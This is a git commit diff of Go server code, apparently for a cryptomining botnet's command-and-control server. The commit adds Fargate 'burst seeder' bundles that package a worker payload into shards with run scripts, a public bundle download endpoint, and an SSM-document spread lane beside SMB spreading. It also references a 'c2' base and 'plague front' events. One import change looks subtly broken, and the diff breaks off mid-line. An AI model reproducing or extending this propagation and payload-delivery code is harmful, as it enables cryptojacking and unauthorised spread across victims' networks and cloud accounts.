Add ECS Fargate burst seeder fleet with BGP hints and spread-kit exports.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -109,7 +109,8 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor
|
|||||||
if config.FleetTorrentEnabled(cfg) {
|
if config.FleetTorrentEnabled(cfg) {
|
||||||
c2 := c2BaseFromPlan(plan)
|
c2 := c2BaseFromPlan(plan)
|
||||||
localIP, _ := PrimaryLocalIPv4()
|
localIP, _ := PrimaryLocalIPv4()
|
||||||
if em, eErr := RunFleetTorrentStaging(cfg, *plan.ErasurePlan, c2, SubnetFromIP(localIP), ResolveLocalAWSRegion(cfg.AwsS3ShardRegion)); eErr == nil {
|
localRegion := ResolveLocalAWSRegion(cfg.AwsS3ShardRegion)
|
||||||
|
if em, eErr := RunFleetTorrentStaging(cfg, *plan.ErasurePlan, c2, SubnetFromIP(localIP), localRegion); eErr == nil {
|
||||||
return em + " (primary lane failed: " + err.Error() + ")", nil
|
return em + " (primary lane failed: " + err.Error() + ")", nil
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -118,6 +118,8 @@ type ServerSettings struct {
|
|||||||
FargateBurstCampaign bool `json:"fargate_burst_campaign"`
|
FargateBurstCampaign bool `json:"fargate_burst_campaign"`
|
||||||
FargateBurstTTLHours int `json:"fargate_burst_ttl_hours,omitempty"`
|
FargateBurstTTLHours int `json:"fargate_burst_ttl_hours,omitempty"`
|
||||||
FargateBurstExpiresAt string `json:"fargate_burst_expires_at,omitempty"`
|
FargateBurstExpiresAt string `json:"fargate_burst_expires_at,omitempty"`
|
||||||
|
CloudMapNamespace string `json:"cloud_map_namespace,omitempty"`
|
||||||
|
CloudMapService string `json:"cloud_map_service,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread.
|
// WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread.
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
package api
|
package api
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"context"
|
||||||
"crypto/hmac"
|
"crypto/hmac"
|
||||||
"crypto/sha256"
|
"crypto/sha256"
|
||||||
"encoding/hex"
|
"encoding/hex"
|
||||||
@@ -12,7 +13,8 @@ import (
|
|||||||
"path/filepath"
|
"path/filepath"
|
||||||
"strings"
|
"strings"
|
||||||
|
|
||||||
dbpkg "crypto-miner-server/internal/db"
|
dbpkg "crypto-miner-server/internal/cloudmap"
|
||||||
|
"crypto-miner-server/internal/db"
|
||||||
"crypto-miner-server/internal/erasure"
|
"crypto-miner-server/internal/erasure"
|
||||||
"crypto-miner-server/internal/models"
|
"crypto-miner-server/internal/models"
|
||||||
"crypto-miner-server/internal/spreadrouter"
|
"crypto-miner-server/internal/spreadrouter"
|
||||||
@@ -72,6 +74,7 @@ type DeployPlanBody struct {
|
|||||||
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
|
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
|
||||||
SpreadRouteHint *spreadrouter.SpreadRouteHint `json:"spread_route_hint,omitempty"`
|
SpreadRouteHint *spreadrouter.SpreadRouteHint `json:"spread_route_hint,omitempty"`
|
||||||
ErasurePlan *erasure.Plan `json:"erasure_plan,omitempty"`
|
ErasurePlan *erasure.Plan `json:"erasure_plan,omitempty"`
|
||||||
|
SSMDocument string `json:"ssm_document,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
type deployPlanRequest struct {
|
type deployPlanRequest struct {
|
||||||
@@ -102,8 +105,10 @@ type DeployPlanHandler struct {
|
|||||||
fleetSecret func() string
|
fleetSecret func() string
|
||||||
allowlist func() map[string]ServiceDeployLane
|
allowlist func() map[string]ServiceDeployLane
|
||||||
pathTracer *PathTracerHandler
|
pathTracer *PathTracerHandler
|
||||||
erasureEnabled func() bool
|
erasureEnabled func() bool
|
||||||
erasureShards *erasure.ShardStore
|
erasureShards *erasure.ShardStore
|
||||||
|
awsSwarmSettings func() erasure.AWSSwarmSettings
|
||||||
|
awsShardStore func(erasure.AWSSwarmSettings) erasure.ShardObjectStore
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewDeployPlanHandler(database *dbpkg.Database, dataDir, projectRoot string, publicURL, fleetSecret func() string, allowlist func() map[string]ServiceDeployLane) *DeployPlanHandler {
|
func NewDeployPlanHandler(database *dbpkg.Database, dataDir, projectRoot string, publicURL, fleetSecret func() string, allowlist func() map[string]ServiceDeployLane) *DeployPlanHandler {
|
||||||
@@ -137,6 +142,11 @@ func (h *DeployPlanHandler) BindErasureFromHub(hub *WSHub, store *erasure.ShardS
|
|||||||
h.erasureEnabled = func() bool { return hub.serverPolicySnapshot().ErasureLanesEnabled }
|
h.erasureEnabled = func() bool { return hub.serverPolicySnapshot().ErasureLanesEnabled }
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (h *DeployPlanHandler) BindAWSErasureSwarm(settings func() erasure.AWSSwarmSettings, store func(erasure.AWSSwarmSettings) erasure.ShardObjectStore) {
|
||||||
|
h.awsSwarmSettings = settings
|
||||||
|
h.awsShardStore = store
|
||||||
|
}
|
||||||
|
|
||||||
// POST /api/v1/agent/deploy-plan
|
// POST /api/v1/agent/deploy-plan
|
||||||
func (h *DeployPlanHandler) PostDeployPlan(w http.ResponseWriter, r *http.Request) {
|
func (h *DeployPlanHandler) PostDeployPlan(w http.ResponseWriter, r *http.Request) {
|
||||||
var req deployPlanRequest
|
var req deployPlanRequest
|
||||||
@@ -258,6 +268,12 @@ func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lan
|
|||||||
case "spread_smb_unc":
|
case "spread_smb_unc":
|
||||||
body.UNCPath = strings.TrimSpace(req.UNCPath)
|
body.UNCPath = strings.TrimSpace(req.UNCPath)
|
||||||
body.MaxHosts = 64
|
body.MaxHosts = 64
|
||||||
|
case "ssm_document":
|
||||||
|
bundle, err := h.buildSSMSpreadBundle(req, serverURL)
|
||||||
|
if err != nil {
|
||||||
|
return DeployPlanBody{}, err
|
||||||
|
}
|
||||||
|
body.SSMDocument = bundle.Document
|
||||||
default:
|
default:
|
||||||
return DeployPlanBody{}, fmt.Errorf("unsupported join lane %q", lane.Lane)
|
return DeployPlanBody{}, fmt.Errorf("unsupported join lane %q", lane.Lane)
|
||||||
}
|
}
|
||||||
@@ -314,12 +330,41 @@ func (h *DeployPlanHandler) attachErasurePlan(req deployPlanRequest, serverURL s
|
|||||||
if body.SpreadRouteHint != nil {
|
if body.SpreadRouteHint != nil {
|
||||||
body.SpreadRouteHint.ErasureLanesEnabled = true
|
body.SpreadRouteHint.ErasureLanesEnabled = true
|
||||||
}
|
}
|
||||||
if manifest, err := erasure.BuildTorrentManifest(serverURL, plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, erasure.ShardContentHashes(shardsFromStore(h.erasureShards, plan.ShardToken))); err == nil && manifest != nil {
|
shards := shardsFromStore(h.erasureShards, plan.ShardToken)
|
||||||
if body.SpreadRouteHint == nil {
|
hashes := erasure.ShardContentHashes(shards)
|
||||||
body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
|
if h.awsSwarmSettings != nil && h.awsShardStore != nil {
|
||||||
|
cfg := h.awsSwarmSettings()
|
||||||
|
if cfg.Enabled() && cfg.CredentialsReady() && cfg.SigningReady() {
|
||||||
|
result, err := erasure.AttachS3Swarm(context.Background(), cfg, h.awsShardStore(cfg), plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, shards, hashes)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if result != nil {
|
||||||
|
for i := range plan.Shards {
|
||||||
|
if i < len(result.EdgeURLs) {
|
||||||
|
plan.Shards[i].EdgeURL = result.EdgeURLs[i]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if body.SpreadRouteHint == nil {
|
||||||
|
body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
|
||||||
|
}
|
||||||
|
body.SpreadRouteHint.SwarmMagnet = result.SwarmMagnet
|
||||||
|
body.SpreadRouteHint.ShardManifestURLs = result.ShardManifestURLs
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if body.SpreadRouteHint == nil || body.SpreadRouteHint.SwarmMagnet == "" {
|
||||||
|
if manifest, err := erasure.BuildTorrentManifest(serverURL, plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, hashes); err == nil && manifest != nil {
|
||||||
|
if body.SpreadRouteHint == nil {
|
||||||
|
body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
|
||||||
|
}
|
||||||
|
if body.SpreadRouteHint.SwarmMagnet == "" {
|
||||||
|
body.SpreadRouteHint.SwarmMagnet = manifest.SwarmMagnet
|
||||||
|
}
|
||||||
|
if len(body.SpreadRouteHint.ShardManifestURLs) == 0 {
|
||||||
|
body.SpreadRouteHint.ShardManifestURLs = manifest.ShardManifestURLs
|
||||||
|
}
|
||||||
}
|
}
|
||||||
body.SpreadRouteHint.SwarmMagnet = manifest.SwarmMagnet
|
|
||||||
body.SpreadRouteHint.ShardManifestURLs = manifest.ShardManifestURLs
|
|
||||||
}
|
}
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|||||||
252
server/internal/api/fargate_burst.go
Normal file
252
server/internal/api/fargate_burst.go
Normal file
@@ -0,0 +1,252 @@
|
|||||||
|
package api
|
||||||
|
|
||||||
|
import (
|
||||||
|
"archive/zip"
|
||||||
|
"bytes"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"net/http"
|
||||||
|
"os"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
dbpkg "crypto-miner-server/internal/db"
|
||||||
|
"crypto-miner-server/internal/erasure"
|
||||||
|
"crypto-miner-server/internal/fargate"
|
||||||
|
)
|
||||||
|
|
||||||
|
type fargateBurstExportRequest struct {
|
||||||
|
ServerURL string `json:"server_url"`
|
||||||
|
BuildID string `json:"build_id"`
|
||||||
|
Campaign string `json:"campaign"`
|
||||||
|
Platform string `json:"platform"`
|
||||||
|
TTLHours int `json:"ttl_hours"`
|
||||||
|
TaskCount int `json:"task_count"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *SpreadHandler) BindFargateDeps(publicURL func() string, shards *erasure.ShardStore) {
|
||||||
|
h.publicURL = publicURL
|
||||||
|
if shards != nil {
|
||||||
|
h.erasureShards = shards
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *WSHub) SyncFargateBurstCampaign(active bool, expiresAtRFC3339 string, ttlHours int) {
|
||||||
|
h.mu.Lock()
|
||||||
|
wasActive := h.fargateBurstActiveLocked()
|
||||||
|
h.fargateBurstCampaign = active
|
||||||
|
h.fargateBurstTTLHours = fargate.ClampTTLHours(ttlHours)
|
||||||
|
if active {
|
||||||
|
if t, err := time.Parse(time.RFC3339, strings.TrimSpace(expiresAtRFC3339)); err == nil && !t.IsZero() {
|
||||||
|
h.fargateBurstExpiresAt = t
|
||||||
|
} else if h.fargateBurstExpiresAt.IsZero() || time.Now().After(h.fargateBurstExpiresAt) {
|
||||||
|
h.fargateBurstExpiresAt = time.Now().Add(time.Duration(h.fargateBurstTTLHours) * time.Hour)
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
h.fargateBurstExpiresAt = time.Time{}
|
||||||
|
}
|
||||||
|
nowActive := h.fargateBurstActiveLocked()
|
||||||
|
h.mu.Unlock()
|
||||||
|
if !wasActive && nowActive {
|
||||||
|
h.emitFargatePlagueFront()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *WSHub) fargateBurstActive() bool {
|
||||||
|
h.mu.RLock()
|
||||||
|
defer h.mu.RUnlock()
|
||||||
|
return h.fargateBurstActiveLocked()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *WSHub) fargateBurstActiveLocked() bool {
|
||||||
|
if !h.fargateBurstCampaign {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
if h.fargateBurstExpiresAt.IsZero() {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
return time.Now().Before(h.fargateBurstExpiresAt)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *WSHub) emitFargatePlagueFront() {
|
||||||
|
h.mu.RLock()
|
||||||
|
ttl := h.fargateBurstTTLHours
|
||||||
|
expires := h.fargateBurstExpiresAt
|
||||||
|
h.mu.RUnlock()
|
||||||
|
if ttl <= 0 {
|
||||||
|
ttl = 3
|
||||||
|
}
|
||||||
|
payload := map[string]interface{}{
|
||||||
|
"event": "fargate_plague_front",
|
||||||
|
"ttl_hours": ttl,
|
||||||
|
"expires_at": expires.Format(time.RFC3339),
|
||||||
|
}
|
||||||
|
emitter := &HubSeerEmitter{Hub: h, DB: h.db}
|
||||||
|
_ = emitter.EmitSeerEvent("fargate_plague_front", "", payload)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *SpreadHandler) buildFargateBurstBundle(req fargateBurstExportRequest) (*fargate.Bundle, error) {
|
||||||
|
serverURL := strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
|
||||||
|
if serverURL == "" && h.publicURL != nil {
|
||||||
|
serverURL = strings.TrimRight(strings.TrimSpace(h.publicURL()), "/")
|
||||||
|
}
|
||||||
|
if serverURL == "" {
|
||||||
|
return nil, fmt.Errorf("server_url required")
|
||||||
|
}
|
||||||
|
platform := strings.TrimSpace(req.Platform)
|
||||||
|
if platform == "" {
|
||||||
|
platform = "linux"
|
||||||
|
}
|
||||||
|
deployH := h.deployPlan
|
||||||
|
if deployH == nil {
|
||||||
|
deployH = NewDeployPlanHandler(h.db, h.dataDir, h.projectRoot, func() string { return serverURL }, func() string { return "" }, func() map[string]ServiceDeployLane { return NormalizeServiceDeployAllowlist(nil) })
|
||||||
|
}
|
||||||
|
store := h.erasureShards
|
||||||
|
if store == nil {
|
||||||
|
store = erasure.NewShardStore()
|
||||||
|
}
|
||||||
|
deployH.BindErasureFromHub(h.wsHub, store)
|
||||||
|
return buildFargateBurstBundleFromBuild(deployH, store, serverURL, strings.TrimSpace(req.BuildID), strings.TrimSpace(req.Campaign), platform, req.TTLHours, req.TaskCount)
|
||||||
|
}
|
||||||
|
|
||||||
|
func buildFargateBurstBundleFromBuild(deployH *DeployPlanHandler, store *erasure.ShardStore, serverURL, buildID, campaign, platform string, ttlHours, taskCount int) (*fargate.Bundle, error) {
|
||||||
|
if deployH == nil || store == nil {
|
||||||
|
return nil, fmt.Errorf("fargate burst: deploy handler required")
|
||||||
|
}
|
||||||
|
build, err := deployH.resolveBuild(buildID, platform)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
payload, err := os.ReadFile(build.FilePath)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("read build: %w", err)
|
||||||
|
}
|
||||||
|
plan, err := erasure.BuildPlan(store, serverURL, buildID, campaign, payload, "/tmp/aetherforge-burst/worker", "exe", "", true, true)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
shards := shardsFromStore(store, plan.ShardToken)
|
||||||
|
if len(shards) == 0 {
|
||||||
|
return nil, fmt.Errorf("fargate burst: no erasure shards")
|
||||||
|
}
|
||||||
|
return fargate.GenerateBundle(fargate.Options{
|
||||||
|
BuildID: buildID, Campaign: campaign, ServerURL: serverURL,
|
||||||
|
ShardToken: plan.ShardToken, PayloadSHA256: plan.PayloadSHA256, PayloadSize: plan.PayloadSize,
|
||||||
|
DataShards: plan.DataShards, ParityShards: plan.ParityShards,
|
||||||
|
TTLHours: ttlHours, TaskCount: taskCount, Shards: shards,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func zipFargateBurstBundle(bundle *fargate.Bundle) ([]byte, error) {
|
||||||
|
if bundle == nil {
|
||||||
|
return nil, fmt.Errorf("nil bundle")
|
||||||
|
}
|
||||||
|
var buf bytes.Buffer
|
||||||
|
zw := zip.NewWriter(&buf)
|
||||||
|
files := map[string][]byte{
|
||||||
|
"task-definition.json": bundle.TaskDefinitionJSON,
|
||||||
|
"run-task.sh": bundle.RunTaskScript,
|
||||||
|
"erasure-shards.json": bundle.ShardManifestJSON,
|
||||||
|
}
|
||||||
|
for name, data := range files {
|
||||||
|
w, err := zw.Create(name)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if _, err := io.Copy(w, bytes.NewReader(data)); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if err := zw.Close(); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
return buf.Bytes(), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func fargateBurstQueryFromRequest(r *http.Request) (buildID, campaign string) {
|
||||||
|
buildID = strings.TrimSpace(r.URL.Query().Get("pin"))
|
||||||
|
if buildID == "" {
|
||||||
|
buildID = strings.TrimSpace(r.URL.Query().Get("build_id"))
|
||||||
|
}
|
||||||
|
campaign = strings.TrimSpace(r.URL.Query().Get("c"))
|
||||||
|
if campaign == "" {
|
||||||
|
campaign = strings.TrimSpace(r.URL.Query().Get("campaign"))
|
||||||
|
}
|
||||||
|
return buildID, campaign
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *SpreadHandler) ExportFargateBurst(w http.ResponseWriter, r *http.Request) {
|
||||||
|
var req fargateBurstExportRequest
|
||||||
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||||
|
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
bundle, err := h.buildFargateBurstBundle(req)
|
||||||
|
if err != nil {
|
||||||
|
http.Error(w, err.Error(), http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
zipData, err := zipFargateBurstBundle(bundle)
|
||||||
|
if err != nil {
|
||||||
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if h.wsHub != nil && h.db != nil {
|
||||||
|
_ = (&OathLedgerBridge{DB: h.db, Hub: h.wsHub}).Record(AuthUsername(r), dbpkg.OathSpreadAttempt, "", "", dbpkg.OathOutcomeSuccess, map[string]string{"lane": "fargate_burst", "campaign": req.Campaign, "build_id": req.BuildID}, map[string]string{"lane": "fargate_burst"})
|
||||||
|
}
|
||||||
|
writeZipAttachment(w, "aetherforge-fargate-burst-seeder.zip", zipData)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *SpreadHandler) FargateBurstTaskDefinition(w http.ResponseWriter, r *http.Request) {
|
||||||
|
buildID, campaign := fargateBurstQueryFromRequest(r)
|
||||||
|
bundle, err := h.buildFargateBurstBundle(fargateBurstExportRequest{BuildID: buildID, Campaign: campaign, ServerURL: publicURLFromRequest(r, h.publicURL)})
|
||||||
|
if err != nil {
|
||||||
|
http.Error(w, err.Error(), http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
w.Header().Set("Content-Type", "application/json")
|
||||||
|
w.Write(bundle.TaskDefinitionJSON)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *SpreadHandler) FargateBurstRunScript(w http.ResponseWriter, r *http.Request) {
|
||||||
|
buildID, campaign := fargateBurstQueryFromRequest(r)
|
||||||
|
bundle, err := h.buildFargateBurstBundle(fargateBurstExportRequest{BuildID: buildID, Campaign: campaign, ServerURL: publicURLFromRequest(r, h.publicURL)})
|
||||||
|
if err != nil {
|
||||||
|
http.Error(w, err.Error(), http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
w.Header().Set("Content-Type", "text/x-shellscript; charset=utf-8")
|
||||||
|
w.Write(bundle.RunTaskScript)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *SpreadHandler) FargateBurstBundleZip(w http.ResponseWriter, r *http.Request) {
|
||||||
|
buildID, campaign := fargateBurstQueryFromRequest(r)
|
||||||
|
bundle, err := h.buildFargateBurstBundle(fargateBurstExportRequest{BuildID: buildID, Campaign: campaign, ServerURL: publicURLFromRequest(r, h.publicURL)})
|
||||||
|
if err != nil {
|
||||||
|
http.Error(w, err.Error(), http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
zipData, err := zipFargateBurstBundle(bundle)
|
||||||
|
if err != nil {
|
||||||
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
writeZipAttachment(w, "aetherforge-fargate-burst-seeder.zip", zipData)
|
||||||
|
}
|
||||||
|
|
||||||
|
func publicURLFromRequest(r *http.Request, fn func() string) string {
|
||||||
|
if fn != nil {
|
||||||
|
if u := strings.TrimRight(strings.TrimSpace(fn()), "/"); u != "" {
|
||||||
|
return u
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if r == nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
scheme := "http"
|
||||||
|
if r.TLS != nil {
|
||||||
|
scheme = "https"
|
||||||
|
}
|
||||||
|
return strings.TrimRight(fmt.Sprintf("%s://%s", scheme, r.Host), "/")
|
||||||
|
}
|
||||||
144
server/internal/api/fargate_burst_test.go
Normal file
144
server/internal/api/fargate_burst_test.go
Normal file
@@ -0,0 +1,144 @@
|
|||||||
|
package api
|
||||||
|
|
||||||
|
import (
|
||||||
|
"archive/zip"
|
||||||
|
"bytes"
|
||||||
|
"net/http"
|
||||||
|
"net/http/httptest"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
dbpkg "crypto-miner-server/internal/db"
|
||||||
|
"crypto-miner-server/internal/erasure"
|
||||||
|
"crypto-miner-server/internal/fargate"
|
||||||
|
"crypto-miner-server/internal/models"
|
||||||
|
"crypto-miner-server/internal/spreadrouter"
|
||||||
|
)
|
||||||
|
|
||||||
|
func testFargateBurstSpreadHandler(t *testing.T) (*SpreadHandler, *DeployPlanHandler, *erasure.ShardStore) {
|
||||||
|
t.Helper()
|
||||||
|
dir := t.TempDir()
|
||||||
|
root := t.TempDir()
|
||||||
|
database, err := dbpkg.New(dir)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() { _ = database.Close() })
|
||||||
|
buildDir := filepath.Join(dir, "builds", "fb1")
|
||||||
|
_ = os.MkdirAll(buildDir, 0o755)
|
||||||
|
artifact := filepath.Join(buildDir, "worker")
|
||||||
|
_ = os.WriteFile(artifact, []byte("fargate-burst-payload-bytes"), 0o644)
|
||||||
|
_ = database.InsertBuild(&models.BuildRecord{ID: "fb1", Platform: "linux", FileName: "worker", FilePath: artifact})
|
||||||
|
store := erasure.NewShardStore()
|
||||||
|
hub := NewWSHub(database)
|
||||||
|
deployH := NewDeployPlanHandler(database, dir, root,
|
||||||
|
func() string { return "http://127.0.0.1:8989" },
|
||||||
|
func() string { return "fleet-test" },
|
||||||
|
func() map[string]ServiceDeployLane { return NormalizeServiceDeployAllowlist(nil) },
|
||||||
|
)
|
||||||
|
deployH.BindErasureFromHub(hub, store)
|
||||||
|
spreadH := NewSpreadHandler(database, dir, root, hub)
|
||||||
|
spreadH.BindFargateDeps(func() string { return "http://127.0.0.1:8989" }, store)
|
||||||
|
spreadH.BindDeployPlan(deployH)
|
||||||
|
return spreadH, deployH, store
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestExportFargateBurstZIP(t *testing.T) {
|
||||||
|
spreadH, _, _ := testFargateBurstSpreadHandler(t)
|
||||||
|
body := `{"server_url":"http://127.0.0.1:8989","build_id":"fb1","campaign":"burst-lab","ttl_hours":3}`
|
||||||
|
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/fargate-burst-export", strings.NewReader(body))
|
||||||
|
rec := httptest.NewRecorder()
|
||||||
|
spreadH.ExportFargateBurst(rec, req)
|
||||||
|
if rec.Code != http.StatusOK {
|
||||||
|
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
|
||||||
|
}
|
||||||
|
zr, err := zip.NewReader(bytes.NewReader(rec.Body.Bytes()), int64(rec.Body.Len()))
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
names := map[string]bool{}
|
||||||
|
for _, f := range zr.File {
|
||||||
|
names[f.Name] = true
|
||||||
|
}
|
||||||
|
for _, want := range []string{"task-definition.json", "run-task.sh", "erasure-shards.json"} {
|
||||||
|
if !names[want] {
|
||||||
|
t.Fatalf("missing %s in zip", want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestFargateGenerateBundleFromBuild(t *testing.T) {
|
||||||
|
_, deployH, store := testFargateBurstSpreadHandler(t)
|
||||||
|
bundle, err := buildFargateBurstBundleFromBuild(deployH, store, "http://127.0.0.1:8989", "fb1", "burst", "linux", 3, 2)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(bundle.TaskDefinitionJSON) == 0 || len(bundle.RunTaskScript) == 0 {
|
||||||
|
t.Fatalf("bundle=%+v", bundle)
|
||||||
|
}
|
||||||
|
if !strings.Contains(string(bundle.TaskDefinitionJSON), "AF_SHARD_MANIFEST_B64") {
|
||||||
|
t.Fatalf("task def missing manifest env: %s", bundle.TaskDefinitionJSON)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSyncFargateBurstCampaignEmitsSeerEvent(t *testing.T) {
|
||||||
|
dir := t.TempDir()
|
||||||
|
database, err := dbpkg.New(dir)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() { _ = database.Close() })
|
||||||
|
hub := NewWSHub(database)
|
||||||
|
hub.SyncFargateBurstCampaign(true, "", 3)
|
||||||
|
events, err := database.ListSeerEvents(5)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
found := false
|
||||||
|
for _, ev := range events {
|
||||||
|
if ev.EventType == "fargate_plague_front" {
|
||||||
|
found = true
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !found {
|
||||||
|
t.Fatal("expected fargate_plague_front seer event")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSpreadRouterPreferFargateWhenBurstActive(t *testing.T) {
|
||||||
|
in := spreadrouter.Input{
|
||||||
|
TargetSubnets: []string{"10.4.0"},
|
||||||
|
FargateBurstActive: true,
|
||||||
|
FleetAgents: []spreadrouter.FleetAgentSnapshot{
|
||||||
|
{AgentID: "seed", Subnet: "10.4.0", Clearance: 2, Connected: true},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
rt := spreadrouter.Build(in)
|
||||||
|
rec, ok := rt.Recommend("10.4.0")
|
||||||
|
if !ok || !rec.PreferFargateSeeder {
|
||||||
|
t.Fatalf("rec=%+v ok=%v", rec, ok)
|
||||||
|
}
|
||||||
|
hint := spreadrouter.ToHint(rec)
|
||||||
|
if hint == nil || !hint.PreferFargateSeeder {
|
||||||
|
t.Fatalf("hint=%+v", hint)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestFargateClampTTLHours(t *testing.T) {
|
||||||
|
if fargate.ClampTTLHours(1) != 2 || fargate.ClampTTLHours(8) != 4 {
|
||||||
|
t.Fatal("clamp failed")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestFargateBurstPublicBundleZip(t *testing.T) {
|
||||||
|
spreadH, _, _ := testFargateBurstSpreadHandler(t)
|
||||||
|
req := httptest.NewRequest(http.MethodGet, "/api/v1/public/fargate-burst/bundle.zip?pin=fb1&c=burst", nil)
|
||||||
|
rec := httptest.NewRecorder()
|
||||||
|
spreadH.FargateBurstBundleZip(rec, req)
|
||||||
|
if rec.Code != http.StatusOK {
|
||||||
|
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -100,6 +100,7 @@ func buildSpreadRouterInput(hub *WSHub, sessions []*TraceSession, targetSubnets
|
|||||||
|
|
||||||
in.LaneSuccess = collectLaneSuccessStats(hub)
|
in.LaneSuccess = collectLaneSuccessStats(hub)
|
||||||
in.ErasureLanesEnabled = hub.serverPolicySnapshot().ErasureLanesEnabled
|
in.ErasureLanesEnabled = hub.serverPolicySnapshot().ErasureLanesEnabled
|
||||||
|
in.FargateBurstActive = hub.fargateBurstActive()
|
||||||
return in
|
return in
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -950,7 +950,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
}
|
}
|
||||||
resp["triple_onion_policy"] = top
|
resp["triple_onion_policy"] = top
|
||||||
spreadPolicy := map[string]interface{}{}
|
spreadPolicy := map[string]interface{}{}
|
||||||
if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 || policy.ErasureLanesEnabled || policy.FleetTorrentEnabled {
|
